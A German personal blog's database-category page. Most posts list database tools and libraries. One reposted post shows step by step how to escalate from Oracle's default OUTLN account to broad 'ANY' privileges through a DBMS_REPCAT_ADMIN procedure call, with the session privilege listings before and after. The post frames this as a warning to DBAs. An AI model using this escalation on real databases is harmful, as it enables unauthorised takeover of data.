aliens blog (Was es alles gibt, was ich nicht brauche! (Aristoteles 384-322 v. Chr.)) : Rubrik:database

DBSight

Alien — 2008-10-15T13:49:00Z

DBSight is a highly customizable full-test search platform for any relational database.

dbsight.net

SQuirreL SQL

Alien — 2008-06-13T10:09:00Z

SQuirreL SQL Client is a graphical Java program that will allow you to view the structure of a JDBC compliant database, browse the data in tables, issue SQL commands etc.

www.squirrelsql.org

Unabhängiger und freier Support für Oracle Datenbanken

Alien — 2005-11-23T10:30:21Z

oracle-doku.de

How to break into an Oracle database and gain DBA privileges

Alien — 2005-09-27T07:13:27Z

Starting from Oracle8i, new databases made with a create database command are installed with a user called OUTLN. This schema is used to hold information about stored outlines for the plan stability feature. The user has an easily guessable password and is left unlocked when the database is created. DBAs commonly overlook this but it is so important to either change the password or lock the account because it can be used to gain DBA privileges. Here's how:

$ sqlplus outln/xxxx@DEMO

SQL*Plus: Release 9.2.0.3.0 - Production on Thu Sep 4 13:58:14 2003

Copyright (c) 1982, 2002, Oracle Corporation. All rights reserved.

Connected to:
Oracle9i Enterprise Edition Release 9.2.0.3.0 - 64bit Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.3.0 - Production

SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
CREATE SESSION
ALTER SESSION
UNLIMITED TABLESPACE
CREATE TABLE
CREATE CLUSTER
CREATE SYNONYM
CREATE VIEW
CREATE SEQUENCE
CREATE DATABASE LINK
CREATE PROCEDURE
EXECUTE ANY PROCEDURE
CREATE TRIGGER
CREATE TYPE
CREATE OPERATOR
CREATE INDEXTYPE

The critical system privilege granted by default to the OUTLN user is EXECUTE ANY PROCEDURE. If you can execute any procedure in the database, then try this one and look what privileges you can gain:

SQL> exec dbms_repcat_admin.grant_admin_any_schema('OUTLN');

PL/SQL procedure successfully completed.

SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
CREATE SESSION
ALTER SESSION
UNLIMITED TABLESPACE
CREATE TABLE
CREATE ANY TABLE
ALTER ANY TABLE
DROP ANY TABLE
COMMENT ANY TABLE
SELECT ANY TABLE
INSERT ANY TABLE
UPDATE ANY TABLE
DELETE ANY TABLE
CREATE CLUSTER
CREATE ANY CLUSTER
ALTER ANY CLUSTER
DROP ANY CLUSTER
CREATE ANY INDEX
ALTER ANY INDEX
DROP ANY INDEX
CREATE SYNONYM
CREATE ANY SYNONYM
DROP ANY SYNONYM
CREATE PUBLIC SYNONYM
DROP PUBLIC SYNONYM
CREATE VIEW
CREATE ANY VIEW
DROP ANY VIEW
CREATE SEQUENCE
CREATE ANY SEQUENCE
ALTER ANY SEQUENCE
DROP ANY SEQUENCE
CREATE DATABASE LINK
CREATE PROCEDURE
CREATE ANY PROCEDURE
ALTER ANY PROCEDURE
DROP ANY PROCEDURE
EXECUTE ANY PROCEDURE
CREATE TRIGGER
CREATE ANY TRIGGER
ALTER ANY TRIGGER
DROP ANY TRIGGER
CREATE ANY SNAPSHOT
ALTER ANY SNAPSHOT
DROP ANY SNAPSHOT
CREATE TYPE
CREATE ANY TYPE
ALTER ANY TYPE
DROP ANY TYPE
CREATE OPERATOR
CREATE ANY OPERATOR
DROP ANY OPERATOR
CREATE INDEXTYPE
CREATE ANY INDEXTYPE
DROP ANY INDEXTYPE

54 rows selected.

[via oracleadvice.com/..]

SQLite

Alien — 2005-02-08T15:17:03Z

SQLite is a small C library that implements a self-contained, embeddable, zero-configuration SQL database engine.
sqlite.org

Super für eine einfache und schnelle SQL Datenbank auf Commandline Ebene.

Free Oracle Tools

Alien — 2005-02-03T09:22:31Z

TOra is a Toolkit for Oracle which aims to help the DBA or developer of database application. Features PL/SQL debugger, SQL worksheet with syntax highlighting, DB browser and a comprehensive set of DBA tools.
globecom.net/tora
sourceforge.net/projects/tora

Aqua Data Studio 3.7 is a database query and administration tool that allows developers to easily create, edit, and execute SQL scripts, as well as browse and visually modify database structures. Aqua Data Studio provides an integrated database environment with a single consistent interface to all major relational databases. This allows the database administrator or developer to tackle multiple tasks simultaneously from one application.
aquafold.com

Oracletool is an interactive, web based application that runs as a CGI script using your web server. The advantage of Oracletool over non web based tools is that nothing needs to be installed on the client side machine. All you need to use Oracletool, once installed, is a web browser. There is nothing that needs to be created or altered in your databases to use Oracletool either, other than a role for users who are not DBA's, but want to use the tool. No database changes whatsoever are needed for a DBA to use Oracletool.
oracletool.com

Quest Software presents Data Dictionary for Oracle v2.0, a freeware tool for viewing DBA_View and V$ View information. Use this application to reference Oracle 9.i2 documentation or connect to your own Oracle instance to obtain descriptions and column data from a live system.
quest-pipelines.com/..

more Oracle resources:
http://www.pcvoyager.com/dir/database_oracle.html

Ruby und Oracle

Alien — 2004-11-20T05:29:26Z

The Ruby9i Library
Ruby/OCI8

Ruby Home Page

Onlinebuch: Programmieren mit Ruby

Exerb Project

Free Ruby IDE

Sentences, Assoziative Datenbank

Alien — 2003-03-20T12:26:26Z

Sentences ist ein innovatives Datenbank-Management-System, welches durch die Firma Lazy Software Ltd. in Java entwickelt wurde und die einzige kommerzielle Implementierung des assoziativen Datenmodells ist.

Das assoziative Datenmodell ist die erste, definitiv neue Datenmodell-Architektur seit der "Erfindung" des Internet, welches den strukturellen Bedürfnissen von Internetanwendungen entspricht und das erlaubt, die Strukturen von Informationen einer realen Welt, so wie sie von uns Menschen wahrgenommen und verarbeitet werden, zu modellieren.

Diese Architektur ist der erste grössere Schritt, welcher tatsächlich über den Ansatz der relationalen Datenbank-Theorie hinausgeht.

Caché, the post-relational database

Alien — 2003-03-20T11:11:15Z

InterSystems Caché: Die leistungsstarke Verbindung von Objekten und SQL in einer multidimensionalen Datenbank Engine.

Gratis Download (Single User Version)